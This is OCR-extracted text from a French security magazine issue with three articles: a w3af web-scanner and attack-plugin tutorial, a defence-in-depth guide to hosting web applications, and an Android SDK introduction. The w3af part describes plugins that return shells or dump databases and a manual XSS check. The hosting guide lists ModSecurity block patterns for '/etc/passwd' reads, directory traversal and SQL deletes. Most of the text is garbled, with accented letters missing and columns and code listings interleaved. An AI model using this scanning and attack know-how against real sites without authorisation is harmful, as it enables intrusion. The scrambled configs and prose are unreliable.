Figure 10. Interprtation graphique des analyses en cours se divise en deux parties : le core grant lensemble des processus ainsi que la communication entre les plugins et les plugins. Prcdemment, nous avons dis que w3af pouvait grossirement se dcomposer en trois parties : dcouverte, audit et attaque. Maintenant, nous allons tenter de dcouvrir w3af un peu plus en profondeur en dvoilant les 8 catgories distinctes que ce dernier possde : Dcouverte Audit Attaques Grep Modificateurs de requte Evasion Brute Force Affichage Les plugins modificateurs de requte permettent comme leurs noms lindique de modifier les requtes ainsi que les rponses du serveur avant de les racheminer. Il est important de comprendre que grce ce genre doutils, les contrles mis en place cot

Comme nous avons put le dire prcdemment, les plugins de dcouverte ont pour objectif de rechercher des points dinjection dans un site web (url, formulaire, page dauthentification). Les plugins d audit rcuprent les points dinjection trouvs prcdemment par les plugins de dcouverte et tentent de trouver des vulnrabilits spcifiques toutes les possibilits. Les plugins d attaque exploitent les vulnrabilits trouves par les plugins daudit. Ils retournent en gnral un Shell sur le serveur distant, ou un dump des tables distantes dans le cas des exploits d'injections SQL. Les plugins de type grep analysent le contenu de lensemble des pages et tentent de trouver des vulnrabilits sur les pages interroges. Certains plugins vont, par exemple, tenter de rcuprer des commentaires dans les pages HTML possdant certains mots cl comme password , admin etc.

Figure 11. Application web cible

Figure 12. W3AF en interface graphique


4/2009 HAKIN9 49

PRATIQUE
Dcouverte Pykto Hmap fingerGoogle webSpider Grep googleSpider

collectCookies

findComments

directoryIndexing pathDisclosure strangeHeaders console

Affichage

htmlFile Modificateurderequte textFile

sed,unditeurderequtehttp

Figure 13. Prmiere analyse grce a W3AF enregistrent les donnes dans un fichier texte ou HTML. La documentation officielle ralise par Andres Riancho ainsi que sa version franaise traduite par Jrme Athias (JA-PSI) couvre principalement lutilisation de w3af en ligne de commande. Ces documentations sont disponibles ladresse suivante : http://w3af.sourceforge.net/ Pour ne pas reprendre leurs excellents travaux dans lequel quasiment tout est dit, nous allons prsenter une attaque complte via linterface graphique. Avant de vous exposer un cas concret, nous allons faire une liste non exhaustive de quelques plugins rangs par catgories.
Audit

Evasion

reversedSlashes rndCase rndHexEncode davShell

Attaque

fileUploadShell googleProxy localFileReader

SQL injection detection XSS detection SSI detection

mysqlWebShell

Localfileincludedetection BufferOverflowdetection OS Commanding detection

Remotefileincludedetection

Nous allons prsent nous attaquer un site prsentant divers articles sur lesquels il est possible de faire des commentaires.

Response Splitting detection

W3aF en pratique

Afin davoir les rsultats les plus prcis possible, il est important de bien choisir les options ainsi que les plugins que nous voulons utiliser. Dans notre cas, nous allons utiliser des profils prconfigurs pour raliser notre scan. W3af dispose de quatre profils par dfaut : OWASP Top 10 : intgrant les plugins daudit, de dcouverte et de grep Fast Scan : intgrant les plugins daudit et de dcouverte Full Audit : ntgrant les plugins daudit, brute force, dcouverte et grep Full audit manual disc : intgrant les plugins daudit, brute force, dcouverte et grep

Figure 14.
50 HAKIN9 4/2009

W3af
Afin davoir un rsultat clair et prcis, nous allons commencer par un Full Audit Il est donc simplement ncessaire de cliquer sur Full Audit dans le menu Profiles , de prciser ladresse du site web cible et de lancer lanalyse en cliquant sur Start . A prsent, lensemble des plugins se trouvant dans les diverses catgories slectionn vont sexcuter un un pour avoir le plus de rsultat possible. Il est possible grce longlet Log de visualiser rapidement tout ce que w3af trouv comme informations, erreurs ou vulnrabilits. Il est par exemple possible de voir que la page comment.php est vulnrable des injections de type SQL. Cette page sera donc un page tudier par la suite. Dans la mme fentre que celle prcdemment vue, il est galement possible davoir une interprtation graphique des analyses en cours comme il est possible de le voir cidessous. Ce graphique nous montre de nombreux dtails comme par exemple le temps (en seconde) de lanalyse ralis par w3af ou bien encore les modules qui sont excuts en temps rel (audit.bufferOverflow au moment de la prise du screenshot). Aprs quelques minutes, lanalyse du site cible se termine et il est enfin possible danalyser les rsultats que nous propose w3af. Grce la barre principale, il est possible de faire un premier filtre trs

Figure 17. rapide mais tout aussi simpliste sur le type dinformation qua relev w3af. Il est possible de slectionner Vulnrabilits et/ou Information et/ou Erreur . Il est galement possible de faire des recherches plus prcises grce la partie ci-dessous permettant de rechercher des mots ou des bouts de mots dans lensemble des informations disponible. Une fois aprs avoir analys les logs, il vous est possible dallez dans longlet Results afin davoir de plus ample informations concernant les informations prcdemment trouves. Il est possible via cette interface de rsumer lensemble des informations que w3af russi trouver sur lensemble du site cible. Il est par exemple trs facile grce cette interface didentifier des vulnrabilits de type Injection XSS, injection SQL. Tout comme pour les logs, il est possible de filtrer les rsultats en fonctions de leur type (Vulnrabilits, informations et problme de configuration) afin davoir la possibilit deffectuer un rapide coup dil sur les problmes potentiels. Des informations plus prcises sont prsentes dans la partie de droite permettant de comprendre quelle page est vulnrable et quel type dattaque. Il nous est galement possible de voir les requtes envoyes au serveur ainsi que les rponses de ce dernier pour des possibles modifications via les plugins prvus cet effet. Dernirement, longlet Exploit , nous permet simplement de savoir quel plugin a russi trouver la vulnrabilit que nous allons tenter dexploiter. Grce limage ci-dessus, il est donc possible de comprendre que la vulnrabilit de type injection SQL fut trouv grce aux deux plugins mysqlWebShell et sqlmap . Nous allons donc vrifier si les dires de w3af sont vrais en tentant des tests manuels. Daprs w3af, la page add_comment.php est vulnrable des attaques de type Injection XSS, nous allons le prouver. Ce commentaire est une injection XSS vraiment trs basique spcifiant simplement quune boite de dialogue va souvrir dans le cas ou le page est rellement vulnrable. Enregistrons le commentaire et allons le visualiser. Sur la page permettant de visualiser les commentaires, nous voyons bien la prsence de notre boite de dialogue spcifiant ainsi que linjection XSS a bien fonctionne et donc que w3af a bel et bien fait son travail.

Sur Internet
http://w3af.sourceforge.net/

propos de l'auteur

Figure 15.

Figure 16.

Rgis SENET est actuellement tudiant en quatrime anne lcole Suprieur dinformatique Supinfo. Passionn par les tests dintrusion et les vulnrabilits Web, il tente de dcouvrir la scurit informatique dun point de vue entreprise. Il est actuellement en train de sorienter vers le cursus CEH, LPT et Offensive Security.

4/2009 HAKIN9

51

TECHNIQUE
HELMI RAIS

Lhbergement des applications web


Degr de difficult

Cet article essaye de prsenter quelques solutions et palliatifs de base qui pourraient assurer un niveau de scurit minimale pour les applications hberges et rduisant ainsi le vecteur dexposition aux nouvelles vulnrabilits.

ujourdhui, Il est vident que la scurit applicative et surtout celle relative aux applications web, devient le souci des RSSIs et des professionnels de scurit, non seulement par la multitude et la diversit des applications mises en production mais aussi par le nombre exponentiel des failles qui les affectent. Dans ce sens, la gestion des correctifs peut devenir une tache trs complexe surtout dans le cas o tous les dtails des modules et des scripts utiliss dans l'application en question ne sont pas connus et mme sils le sont, il nest pas sr quon ait toutes les comptences ncessaires pour appliquer les correctifs ou les palliatifs adquats sans affecter la production. Certes, l'intgration de la scurit dans le cycle de dveloppement des applications (SDLC) serait la solution idale. Reste que la ralit du terrain peut nous confronter, et cest souvent le cas, des applications trs anciennes , dveloppes en interne, souvent par des stagiaires, dont les utilisateurs se sont fortement familiariss et quil ne faut absolument pas toucher, et surtout pas au nom de la scurit !

sa scurit sur une seule ligne de dfense, mais utiliser plusieurs niveaux de protection. Ainsi nous opterons scuriser, pas par pas, tous les composants identifies dans notre plateforme dhbergement. Le schma ci-dessous dcrit les niveeaux de dfenses identifis dans notre cas.

Scurit physique et Procddures


Dans cette premire phase le conntrle daccs physiques aux serveurs de producction soit tre minutieusement tudi. Les serveurs et ordinateurs dadmiinistration et serveurs de sauvegardes doivent tree curises et installes dans des salles informaatiques avec accs restreint. Les salles informattiques doivent disposer des lments de base de sscurit physique (dtecteur dincendies, extincteurrs, climatiseurs etc.). Afin que la dmarche qui suit soiit bien fonde, il est impratifs de disposer dunne politique de scurit identifiant les procdures de sauvegardes, de mises jour, de mots de passses, de suivi & danalyse des journaux daudit, et dde gestion dincident.

Dmarche de dfense en profondeur

Scurit du rseau

La dmarche opte dans cet article est celle de la dfense en profondeur . Ce fameux concept d'origine militaire consiste ne pas fonder toute
54 HAKIN9 4/2009

Le choix dune bonne architecturee rseau pour lhbergement des applications webb est essentiel. Larchitecture du rseau prsentee cidessous se base sur une segmentation totale

DFENSE EN PROFONDEUR
Les firewalls offrent quelques services intressants, tels que les modules antiscan, antispoof ou de dtections de dni de servie. En outre, plusieurs autres fonctionnalits permettraient de valider le contenu des requtes HTTP (RFC compliance), de spcifier les mthodes permises, la taille maximale des entte HTTP et des URL, etc.
fw1(config)# http-map inbound_http rfc delete action reset log rfc post action reset log rfc put action reset log

fw1(config-http-map)# request-method fw1(config-http-map)# request-method fw1(config-http-map)# request-method fw1(config-http-map)# content-typeverification match-req-rsp action reset log

Figure 1. Les diffrentess couches de scurit dans une plateforme dhbergement des diffrents composants intervenants dans le seervice. Ainsi, par exemple, le serveur web et le servveur de base de donnes seront segments, chacunn dans son vlan, afin de mieux contrler le flux (unniquement des requtes SQL seront changes, pas s de ICMP). Ainsi dans le cas dune attaque sur le seerveur web, o le pirate aurait le contrle total ddu serveur, le contenu de la base de donnes sserait pargn. Remarquons que le Front office ett le Back office de notre application sont galemeent segments, nous y reviendrons avec plus de dttails, plus tard dans cet article. Afin de sassurer que cela ne soit pas pris comme relais pour effectuer des attaques, il est ncessaire dappliquer quelques rgles de bases sur les quipements rseau impliqus dans le service (switchs, firewalls et routeurs): Appliquer toutes les mises jour et palliatifs de scurit, Changer toutes les configurations par dfauts, Utiliser des mots de passes forts, Restreindre le transfert des Broadcast, pour prvenir les dnis de service, Restreindre l'accs aux consoles d'administration (HTTP, TFTP, SSH, SNMP...) uniquement aux utilisateurs de confiance, Sassurer que toutes les connexions sont logges (et archives) et les diffrentes horloges sont synchronises.

grce la base de signatures dattaque et aux rgles de filtrage quelle comporte (SQL injection, XSS, Directory Traversal, Dni de service ) Certaines de ces solutions peuvent mme, non seulement filtrer les requtes entrantes mais aussi les requtes sortantes (depuis le serveur web vers linternet par exemple), qui pourraient porter avec elles des informations sensibles telles que des numros de carte de crdit ou des mots de passes. Changement de l'identit du serveur Web Apache:
SecServerSignature

-Empcher une attaque transversale SecFilter "\../" de rpertoire:

"Apache/2.0.54 (Redstorm)"

fw1(config)# access-list 102 permit fw1(config)# class-map inbound_http_ fw1(config-ftp-map)# match fw1(config)# policy-map inbound traffic access-list 102 traffic TCP any host 192.168.1.11 eq www

-Bloquer l'accs au fichier passwd SecFilter /etc/passwd injection depuis une requte HTTP:

-contrer certaines attaques SQL SecFilter "delete[[:space:]]+from"

fw1(config-pmap)# class inbound_http_ fw1(config-pmap-c)# inspect http inbound_http

SecFilter "create[[::space:]]+table"

Quelques exemples de rgle de filtrage avec modsecurity dans modsecurity.conf (2).

HTTP Inspection sous CISCO ASA(1)


La prsence dun web-firewall dans notre cas est vitale. Cette solution permet didentifier et de filtrer les requtes au niveau applicatif et didentifier les attaques

Scurit des systmes dexploitation

Les premires mesures concernent lapplication des mises jour adquates et patchs de scurit, linstallation dune solution antivirale afin de dtecter les codes malicieux (y compris les root shells

Figure 2. Exemple darchitecture dhbergement dapplications web, publiques et prives


4/2009 HAKIN9 55

TECHNIQUE
exemple) et restreint un nombre limits dadministrateurs (deux personnes au maximum). Secure-it (3) est un freeware de scurisation proactive pour Windows, il permet de dsactiver certaines fonctions dangereuses et permet ainsi de rduire la surface dattaque possible. En particulier Secure-it permet de dsactiver les services non ncessaires (tels que Net DDE Service, Messenger Service DCOM, UPnP, de dsactiver, les applications Shell, les scripts avec potentiel dangereux, le mode Login Automatique, le LMHash Caching, l'administration distance, le MashineDebugger, etc. Dans le mme sens, il est conseill deffectuer un endurcissement de la pile TCP/IP (Netbios, ICMP, SYN, SYNACK..) afin de rduire le risque dattaque de dni de service. Harden-It (4) est un freeware sous Windows, permettant deffectuer plusieurs autres fonctionnalits tels que la protection contre le SYN Flood, lidentification des attaques avec des threshold, la restriction de tout accs anonymes (en particulier au SAM). Sous linux /Unix, les recommandations restent les mme. Il existe un outil similaire Harden-it et Secure-it, nomm BastilleLinux. Initialement crit pour la distribution Red Hat, Bastille-Linux (5) est un ensemble de scripts permettant la gestion des ports et services ouverts, la dsactivation des accs distants root, des SUID/SGID, etc. Le durcissement de la pile TCP/IP se fait travers le fichier /proc/sys/net/ipv4. On pourra ainsi diminuer la dure totale du traitement de la demande de connexion, restreindre les SYN cookies, ou augmenter la taille de la file backlog . Activer les mcanismes de protection existants :
# echo 1 > /proc/sys/net/ipv4/

Figure 3. Capture dcran de loutil Secure-It

Figure 4. Capture dcran de loutil Harden-It tels que C99 et RC57), et lutilisation dune solution de Host IDS afin de sassurer de lintgrit des fichiers systmes et de configuration. Le durcissement des systmes dexploitation, hbergeant les applications, et des bases de donnes est un lment trs important de ce chapitre. Ainsi, tous les comptes du systme, mots de passes, services, ports, etc., doivent tre minutieusement revus afin
56 HAKIN9 4/2009

de rduire le vecteur dexposition de notre serveur. Tant qu'un composant n'est pas explicitement utilis, il ne doit pas tre prsent sur le systme. Par exemple si nous sommes dans le cas de lhbergement dune application e-business, notre serveur nest pas cens tre en parallle un serveur FTP avec un compte anonyme activ. Dans le mme sens, laccs dadministration distance sur les serveurs doit tre scuris (ssh par

tcp_syncookies

Exemple de modification de la taille de la queue backlog via la commande sysctl :


# sysctl -w net.ipv4.tcp_max_ syn_backlog="2048"

Dfinir le nombre maximal de tentatives de rmission du ACK aprs un SYN (ici 3, soit 21 secondes) :

DFENSE EN PROFONDEUR

Figure 6. Capture dcran de loutil OSfuscate


<trust level="Medium" /> </system.web> </location>

Figure 5. Capture dcran de loutil Bastille-Linux


# echo "2" > /proc/sys/net/ipv4/ tcp_synack_retries

Quelques configurations de durcissement de la pile TCP/IP sous Linux. Autre astuce, il est possible de leurrer les pirates en cachant lidentit du systme dexploitation. OSfuscate(6) est un freeware sous Windows qui permet deffectuer quelques manipulations sur des paramtres TCP/IP de la base de registre (DefaultTTL, Tcp1323Opts, TcpWindowSize, MTU,) afin de changer le profile du systme dexploitation.

serveur, le champ d'action des applications doit tre restreint. Ainsi, il est possible de configurer toutes les applications de sorte qu'elles fonctionnent un niveau de confiance partielle qui limitera une application en l'autorisant uniquement accder aux fichiers situs dans l'arborescence de son propre rpertoire virtuel et en restreignant l'accs aux autres types de ressources.
<location path="" <system.web>

allowOverride="false">

Configuration du niveau de confiance dans le fichier web.config. Une fois ceci termin, quelques autres mesures peuvent tre effectus dans la configuration du serveur web. Il sera question de : Dsactiver les services et supprimer les fichiers installs par dfaut avec le service web(FTP, NNTP, SMTP, Default Web site et Admin Web site sous IIS), Dsactiver les modules non ncessaires (mapping non ncessaires), Protger les configurations du serveur (.htaccess sous Apache), Cacher lidentit du serveur, Restreindre laccs larborescence des dossiers du site web, Dfinir le nombre maximal de clients concurrents, Contrler lexcution des scripts (CGI par exemple),

Scurit du serveur web

Dans cette phase, la premire mesure prendre, et de restreindre les droits du processus relatif au serveur web. Le but est d'isoler ce processus du reste du systme. Sous Linux, ceci pourrait tre fait travers lattribution dun compte et dun groupe apache pour le processus, en plus dun chroot sur le service principal (HTTPD). Gnralement, la technique du "chrooting" permet de crer un nouveau rpertoire avec les accs root. Il faut, ainsi, dplacer tous les fichiers des services dans ce dossier, et faire tourner le propre service dans ce nouvel emplacement. Grce a, le service (et ses processus) aura seulement accs la nouvelle structure du rpertoire racine et ne pourra en aucun cas accder aux autres fichiers externe. Sous Windows et dans un scnario d'hbergement mutualis de plusieurs sites ou applications web sur le mme

Figure 7. Capture dcran de loutil IIS-Lockdown


4/2009 HAKIN9 57

TECHNIQUE
Restreindre laccs aux serveurs web uniquement au firewall, webfirewall ou serveur de B.D Limiter la taille des requtes (2 Mb max pour un upload par exemple), Dfinir les Timeout de la connexion, Etc. Cration dun dossier cgi-bin (pou excuter les scripts CGI). de durcir leurs serveurs. En gnral les recommandations conseillent de : Revoir la configuration par dfaut, supprimer les comptes et les noms de connexions gnrs par dfauts (guest, BUILTIN\Administrateurs) et les bases de donnes (exemples : Pubs et Northwind sous SQL Server). Dfinir le type d'authentification pour le serveur (eg authentification Windows pour SQL Server). Forcer lutilisation de mots de passes forts (administrateur). Limiter le nombre de membres de sysadmin. (Pas plus de deux utilisateurs membres) Accorder des autorisations restreintes sur la base de donnes (pas d'autorisation au rle ublic) et n'attribuer aux comptes que les autorisations minimales ncessaires pour effectuer une tche. (Restreindre l'accs cmdExec au rle sysadmin sous SQL Server) viter d'utiliser les rles intgrs (tels que db_datareader et db_datawriter sous SQL Server) Utiliser des vues pour accder la base de donnes afin de limiter laccs aux donnes, masquant les informations inutiles en affichant que les donnes pertinentes. Limiter les changes entre le client et le serveur en utilisant des procdures stockes, sans accs direct aux tables, Chiffrer les donnes sensibles dans les tables (mots de passes). Une fois Hardned-PHP install, le nouveau fichier php.ini comportera plusieurs nouvelles rgles de filtrage.
# Le nombre maximum de variables varfilter.max_request_variables 200 La longueur maxilmale dun nom de variable varfilter.max_varname_length 64 #La longueur maximale pour une une chaine de caractre valeur de variable, qui nest pas varfilter.max_value_length 10000 # Taille maximale dun tableau varfilter.max_array_depth 100 pass par requtes

Sous linux/Unix ceci pourrait tre fait en manipulant le fichier de configuration httpd.conf. Microsoft propose deux freewares sous forme de wizards : IISlockdown (7) et IIS 6.0 Resource Kit Tools (8) :
ServerSignature Off ServerTokens Prod User apache Group apache

Options -ExecCGI

AccessFileName .httpdoverride <Files ~ "^\.ht"> Order allow,deny Deny from all Satisfy All </Files> Timeout 45

-FollowSymLinks -Indexes

LimitRequestBody 1048576

Quelques configurations dans le fichier httpd.conf de Apache. La scurit des serveurs web passe galement par des mesures appliques sur les moteurs PHP, ASP, JSP, etc. (la variable register_global sous PHP est une preuve vivante). Pour PHP, il existe plusieurs projets pour son durcissement, dont Hardened PHP(9) qui permet d'ajouter du paramtrage en vue de renforcer globalement la scurit des scripts PHP et du parseur. Les fonctionnalits offertes par Hardened PHP sont : Protection du Zend Memory Manager, Protection des Zend Linked Lists, Protection contre les exploits en interne de type format string, Protection contre l'inclusion arbitraire de code, Utilisation du Syslog pour stocker les adresses IP des agresseurs, Contrle des accs sur le dossier de cache de PHP,
HAKIN9 4/2009

Quelques configurations de php.ini de Hardened-PHP Pour les moteurs ASP.NET, plusieurs mesures de scurisation sont possibles travers les fichiers de configurations Machine.config et Web.config , afin de dfinir la liste de contrle d'accs aux ressources. Il est galement possible dattribuer un niveau de confiance une application : trust . Ceci dtermine les autorisations que la stratgie de scurit d'accs au code lui accorde et dfinit les ressources scurises auxquelles l'application peut accder et les oprations privilgies qu'elle a le droit de raliser. Par exemple, il est possible dinterdire un code, tlcharg depuis Internet, daccder aux ressources sur le serveur, tels que le systme de fichiers, le journal des vnements et des bases de donnes Microsoft SQL Server.

Scurit de lapplication web

Scurit de la base de donnes

Etant donn que le serveur de base de donnes dans notre cas est install sur un serveur indpendant, toutes les mesures dcrites prcdemment concernant le durcissement du systme dexploitation de ce serveur doivent tre appliques. En particulier, le serveur SQL qui doit tre excut avec le compte le moins privilgi. Tous les SGBD possdent leurs guides de scurit spcifiques permettant

Enfin, nous arrivons notre application. Plusieurs documents et recherches ont t publis concernant lintgration de la scurit dans le cycle de vie de dveloppement (design, dveloppement, test, maintenance, etc.). Le cadre, donc, de ce chapitre, est seulement de citer quelques mesures intressantes. Plusieurs autres expriences intressantes ont t effectue quant la segmentation de la partie Front Office et Back Office de lapplication hberge. Cette segmentation permettrait de protger la console dadministration de tout accs

58

DFENSE EN PROFONDEUR
malicieux. Par exemple le CMS (Content Management System) sera install toujours sur la partie Back Office. Une fois la mise jour effectue sur la Back Office, une version statique de lapplication sera gnre (uniquement du HTML) et puis copie sur le serveur Front Office. Quelques autres mesures intressantes concernent : Lutilisation de mot de passes forts lors de lauthentification de lutilisateur. Lauthentification doit tre supple par des modules anti-robots de brute force (captcha). Les cls de sessions doivent tre gnres alatoirement et avoir une dure de vie relative au temps de connexion. (Attaque de fixation de session) Le chiffrement de toutes les donnes sensibles transfres entre le serveur et le client (mot de passes, carte de crdits). Veuillez ce que chaque connexion soit unique (ID unique dutilisateur). La limitation du temps de rtention des informations sensibles (carte de crdits par exemple). Celles-ci doivent tre purges du serveur (et de sa mmoire) une fois la transaction termine. Les erreurs gnres pas lapplication doivent tre transparentes lutilisateur (le code et le type de lerreur ne doivent pas tre affichs). La vrification et la validation de toutes les donnes en provenance de P U lutilisateur (taille, types,..) avant dtre excutes. Lapplication dune procdure de gestion de changements lors du dveloppement et la maintenance de lapplication. Larchivage et le contrle daccs au code source de lapplication.

Rfrences

(1) www.cisco.com (2) www.modsecurity.org (3) http://www.sniff-em.com/ secureit.shtml (4) http://www.sniff-em.com/ hardenit.shtml (5) http://bastille-linux.sourceforge.net/ (6) http://irongeek.com/downloads/ OSfuscate.3.zip (7) http://technet.microsoft.com/en-us/ library/dd450372.aspx (8) http://support.microsoft.com/kb/ 840671 (9) http://www.hardened-php.net/ http://msdn.microsoft.com http://sectools.org/

Audit et test dintrusions

Une fois cette plateforme mise en place, il faudra veiller la tester et lauditer au moins deux fois par an. Il faudra galement veiller faire le bon choix quant aux prestataires de ce services et au contrat dfinissant le cadre de la prestation et les responsabilits qui dcoulent de lintervention. Dans le cas dun audit ou de tests de scurit en interne, il existe plusieurs outils du monde libre qui ne sont parfois que peu conviviales mais dont les rsultats sont trs pertinents, tels que : Nessus, SAINT pour laudit de vulnrabilit des systmes, quipements, applications, etc , Nikto pour laudit de vulnrabilit des applications web, Nmap pour le scan de ports, Hydra pour les attaques de force brute de mot de passes (http, telnet, cisco), Cain & Abel pour les tests dattaques Men in the Middle, SqEEL, SQLInjector, SQL Ninja, Etc . B L I C I

Conclusion

A travers cet article, nous avons souhait prsenter une dmarche pragmatique pour la scurisation dune plateforme dhbergement dapplications web, base sur le principe de Dfense en Profondeur . Ainsi, les outils rfrencs permettent daboutir des mesures pertinentes et simplifier la dmarche de scurisation des donnes. Cependant, nous tenons souligner que nous avons choisi de dlimiter notre raisonnement et ainsi ne pas traiter la scurisation du serveur dapplications dans une architecture 3 tiers (tel que Tomcat), afin dallger larticle et conserver son but premier. T

4/2009 HAKIN9

59

TECHNIQUE
MAREK SAWERWAIN

Android

Linux pour les tlphones mobiles


Degr de difficult

Depuis quelques annes, le systme Linux gagne sans cesse en popularit. Les annes venir se dessinent aussi comme prometteuses car ce systme pourra intresser les utilisateurs des ordinateurs portables. En effet, par rapport au systme concurrent Windows, Linux propose une meilleure performance sur les plates-formes matrielles moins avances.

inux est galement prsent de plus en plus souvent sur les ordinateurs des utilisateurs normaux . Il existe toutefois un autre type d'appareils o Linux gagne galement en popularit il s'agit des tlphones mobiles.Actuellement, il existe deux solutions accessibles pour tous et destines aux tlphones mobiles. OpenMoko et le tlphone Neo FreeRunner constituent le premier systme, prsent depuis un certain temps. Android avec le tlphone G1 constituent le second systme, support par Google. Soulignons tout de suite que Android est un systme d'exploitation et il est possible de le lancer galement sur le tlphone Neo FreeRunner. Les deux systmes mritent une attention. Puisque les cadres de cet article sont toutefois restreints, nous tenterons de dmontrer uniquement les avantages du systme Android. Nous nous concentrerons sur les questions de base qu'il faut matriser pour pourvoir commencer crer nos propres applications dans le cadre de ce systme.

Installation de SDK dans l'environnement Eclipse

Linux. Au moment o nous crivons cet article, la version actuellement disponible porte le numro 1.1_rl et le nom complet du fichier est android-sdk-linux_x86-1.1_rl.zip . Il est bien videmment possible d'utiliser SDK sans aucun outil supplmentaire mais toute facilitation est bienvenue au dbut de l'aventure avec Android. Pour cette raison, il est recommand d'utiliser l'environnement Eclipse. Le paquet SDK pour le systme Android s'intgre parfaitement avec cet environnement populaire destin la cration des applications. Les distributions les plus populaires, telles que Ubuntu ou Fedora Core, proposent des paquets avec Eclipse. L'installation de l'environnement Eclipse est donc trs facile. Il faut en revanche installer SDK soi-mme mais cette opration n'est pas trs difficile. Avant de commencer installer l'environnement Eclipse, dans le cas d'un environnement 64 bits, il faut vous assurer que vous avez install les bibliothques pour supporter les programmes de 32 bits. Dans le cas de Ubuntu, afin de remplir cette condition, il suffit de faire la commande suivante :
apt-get install ia32-libs

La premire opration faire consiste rcuprer le paquet pour les programmeurs, autrement dit, Software Development Kit (SDK). Ce paquet destin au systme Linux est tlchargeable depuis le site Web du systme Android, naturellement en version prvue pour
60 HAKIN9 4/2009

Il est absolument ncessaire d'installer Java. Voici comment le faire :


apt-get install sun-java6-bin

ANDROID
Pour travailler confortablement avec Eclipse, il est ncessaire de disposer d'un plug-in ADT. Ce plug-in travaille soit avec la version 3.3 soit avec 3.4. Slectionnez la version 3.4 dont le nom de code est Ganymede. Pour installer ce plug-in, vous aurez besoin d'ajouter un nouveau dpt informatique et pour ce faire, utilisez le menu Help. Ensuite, slectionnez Software Updates... . Slectionnez l'onglet Available Software dans la fentre qui s'affichera et puis, le bouton Add Site... . Saisissez l'adresse du dpt ncessaire dans la nouvelle bote de dialogue : http:// dl-ssl.google.com/android/eclipse/ Il est galement possible d'utiliser le protocole https si vous tenez avoir une connexion chiffre. Une fois le nouveau dpt ajout, vous verrez s'afficher le nouveau dpt li au plug-in ADT dans l'onglet Available Software. Dans ce dpt se trouvera un nouvel lment Developer Tools et deux nouvelles options : Android Development Tools et Android Editors qu'il faut installer dans l'environnement Eclipse. Au bout de quelques instants, les plug-ins appropris et les dpendances ncessaires seront installs. N'oubliez pas de redmarrer l'environnement Eclipse. Le plug-in ADT ne remplace pas SDK mais il facilite le travail avec le paquet SDK. Pour cette raison, une fois les archives SDK tlcharges, il faut les dcompresser. Il faut prciser le chemin au rpertoire o les archives ont t dcompresses dans l'environnement Eclipse. Il faut passer au menu Windows et ensuite, l'option Preferences. La fentre qui s'affiche doit contenir une option Android. Aprs l'avoir indique, vous verrez s'afficher un champ d'dition appel SDK Location. Saisissez le chemin d'accs au SDK dans ce champ. Nous disposons d'une classe qui hrite de la classe Activity (classe lmentaire pour l'application dans le systme Android) et d'une mthode appele onCreate, qui, conformment son nom, est appele aprs le chargement de l'application. Elle est charge de crer des objets ncessaires. Dans cette mthode, nous appelons de nouveau la mthode onCreate mais c'est une mthode de la classe hrite. Comme vous pouvez le constater dans la premire partie du Listing 1, nous ne crons pas de nouveaux objets car nous utilisons des ressources gnres. Le fichier contenant les ressources s'appelle main.xml. Vous trouverez ce fichier dans le rpertoire res et ensuite, dans le dossier layout . Le message que nous affichons se trouve dans le rpertoire values. Si vous souhaitez modifier ce message, il faut modifier la valeur de la ressource appele HelloMessage. Il est impossible de modifier la valeur d'une suite de caractres au niveau de l'dition du fichier main.xml car ce fichier ne sert qu' dcrire le contenu de l'interface. Ce type de sparation tout au dbut semble constituer une difficult mais de l'autre ct, il nous force de bien regarder les lments de l'interface utilisateur et de dfinir correctement les ressources indispensables. C'est un aspect trs important dans le cas d'un systme dont les ressources sont restreintes. Il est important de savoir que les fichiers mentionns sont prsents au format XML que vous pouvez diter de deux manires. La premire d'entre elles consiste utiliser les fonctionnalits de l'environnement Eclipse qui propose d'accder aux diteurs visuels. La seconde manire consiste diter directement les fichiers XML. Remarquez que lorsque vous crez une interface utilisateur ou une autre ressource, par exemple, les

Listing 1. Le plus court programme en Android qui affiche un message


package com.example.AndT1; import android.os.Bundle; import android.app.Activity; public class AndST1 extends Activity { super.onCreate(savedInstanceState); setContentView(R.layout.main);

public void onCreate(Bundle savedInstanceState) {

} }

Nieco zmieniona metoda onCreate:

public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); TextView tv = new TextView(this); setContentView(tv); } tv.setText("Witaj wiecie !!!!");

Listing 2. Crer un complment pour le champ d'dition


static final String[] CITIES = new String[] { "Zielona Gra", "Warszawa", "Skwierzyna", "Skwierzynka",

Quelque chose de facile pour commencer

Nous crirons le programme le plus bref, du genre Bonjour le monde! sans toucher au clavier dans le cas de SDK pour le systme Android. Une fois le projet cr dans Eclipse, le code d'application de base gnr ralise automatiquement et de manire exacte cette opration. Le Listing 1, et plus prcisment son premier fragment, prsente le code source de l'application cre de manire autonome au moment de la cration du nouveau projet.

public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main);

"Gorzw lski", "Gdask" };

"Gorzw Wlkp.", "Gorzw Wielkopolski",

ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, android.R.layout.simple_dropdown_item_1line, CITIES); .id.CityEdit); }; AutoCompleteTextView textView = (AutoCompleteTextView) findViewById(R textView.setAdapter(adapter);

4/2009 HAKIN9

61

TECHNIQUE
rangs. Nous disposons de trois autres widgets : AbsoluteLayout, FrameLayout, RelativeLayout. Il existe des composants supplmentaires, par exemple, DigitalClock, autrement dit, une horloge numrique, et, AnalogClock. Les concepteurs du systme n'ont pas oubli les composants qui facilitaient les tches, par exemple, pour saisir une date DatePicker, une heure TimePicker ou un composant charg de crer des albums, par exemple, des photos : Gallery. Les concepteurs de Android ont galement simplifi l'API. Cette dmarche a t possible grce Java. Android propose un grand nombre de widgets et les concepteurs du systme ont veill faciliter l'utilisation de toutes les classes. Prsenter par exemple une liste de slection peut en tre un bon exemple. Nous crons un champ d'dition o l'utilisateur peut saisir un nom de ville. Nous ajouterons galement un exemple de liste de villes. Lorsque l'utilisateur saisit les premires lettres d'une ville dans la liste, le systme proposera automatiquement un nom d'une ville correspondante ou les noms de villes correspondantes aux premires lettres saisies. Le Listing 2 prsente les fragments les plus importants du code source. Dans un premier temps, il faut toutefois penser l'interface utilisateur. Il existe deux possibilits : nous pouvons crer une interface l'aide de l'diteur disponible

Figure 1. Nouveau projet pour le systme Android

